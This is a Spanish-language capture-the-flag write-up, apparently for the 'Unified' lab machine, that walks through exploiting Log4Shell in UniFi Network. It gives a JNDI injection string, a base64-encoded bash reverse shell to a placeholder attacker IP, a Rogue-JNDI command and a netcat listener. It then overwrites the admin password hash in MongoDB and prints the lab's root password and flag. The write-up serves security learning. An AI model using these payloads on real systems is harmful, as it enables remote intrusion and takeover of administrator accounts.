Unified
Explotación de la vulnerabilidad Log4Shell (CVE-2021-44228) en la aplicación UniFi Network. El vector de ataque consiste en inyectar un payload JNDI malicioso para lograr RCE, luego manipular la base de datos MongoDB interna para resetear la contraseña de administrador y finalmente escalar privilegios mediante credenciales SSH en texto plano encontradas en la aplicación.
Reconocimiento
El escaneo inicial de nmap revela cuatro puertos abiertos relevantes:
22/tcp open ssh
6789/tcp open ibm-db2-admin
8080/tcp open http-proxy
8443/tcp open https-alt
En el puerto 8443 corre UniFi Network v6.4.54, una versión notoriamente vulnerable a Log4Shell.
Explotación — Log4Shell (CVE-2021-44228)
Log4Shell permite ejecutar código remoto aprovechando que Log4j interpreta strings especiales del tipo ${jndi:ldap://...}. Si inyectamos este vector en un campo que el servidor registra en sus logs (en este caso el campo remember del login), el servidor intentará conectarse a nuestro LDAP malicioso.
1. Preparar el entorno (Java + Maven)
sudo dnf install java-11-openjdk-devel maven -y
java -version && mvn -v
2. Compilar el servidor LDAP malicioso (Rogue-JNDI)
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
# Resultado: target/RogueJndi-1.1.jar
3. Generar el payload de reverse shell en Base64
Los caracteres especiales de Bash (>, &, |) se rompen al pasar por el servidor web. La solución es encodear el comando en Base64:
echo -n 'bash -i >& /dev/tcp/TU_IP/1234 0>&1' | base64
# Resultado: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjkvMTIzNCAwPiYx
4. Interceptar el login con Burp Suite
Interceptamos la petición POST del login al panel de UniFi en el puerto 8443 y modificamos el campo remember con nuestro vector JNDI:
${jndi:ldap://TU_IP/whatever}
5. Lanzar Rogue-JNDI y escuchar
# Terminal 1: verificar el impacto
sudo tcpdump -i tun0 port 389
# Terminal 2: lanzar Rogue-JNDI con el payload
java -jar target/RogueJndi-1.1.jar \
--command "bash -c {echo,BASE64_AQUI}|{base64,-d}|{bash,-i}" \
--hostname "TU_IP"
# Terminal 3: netcat listener
nc -lvnp 1234
Una vez que el servidor procesa el campo remember, se conecta a nuestro LDAP malicioso, descarga y ejecuta el payload → shell como usuario unifi.
Post-Explotación — MongoDB
Dentro del sistema encontramos MongoDB corriendo en el puerto 27117. La base de datos ace de UniFi contiene los usuarios administradores.
Extraer el hash del administrador
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
# Campo a buscar: x_shadow (hash SHA-512)
Reemplazar la contraseña del admin
Generamos nuestro propio hash SHA-512 y lo insertamos en la base de datos:
# Generar nuevo hash
mkpasswd -m sha-512 NuevaPassword123
# Actualizar en MongoDB
mongo --port 27117 ace --eval 'db.admin.update(
{"_id": ObjectId("61ce278f46e0fb0012d47ee4")},
{$set:{"x_shadow":"NUEVO_HASH_SHA512"}}
)'
Accedemos al panel de UniFi con las nuevas credenciales y encontramos las credenciales SSH de root en la sección de configuración del site.
Escalada de Privilegios → Root
ssh root@10.129.40.223
# Password: NotACrackablePassword4U2022
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681
Lecciones Aprendidas
- Log4Shell demuestra que los logs pueden ser vectores de ataque si el framework de logging interpreta el input del usuario.
- Las bases de datos internas (MongoDB sin autenticación) son targets valiosos en post-explotación.
- Nunca almacenar credenciales SSH en texto plano en interfaces de administración web.
- JNDI + LDAP es una combinación peligrosa cuando se acepta input no sanitizado.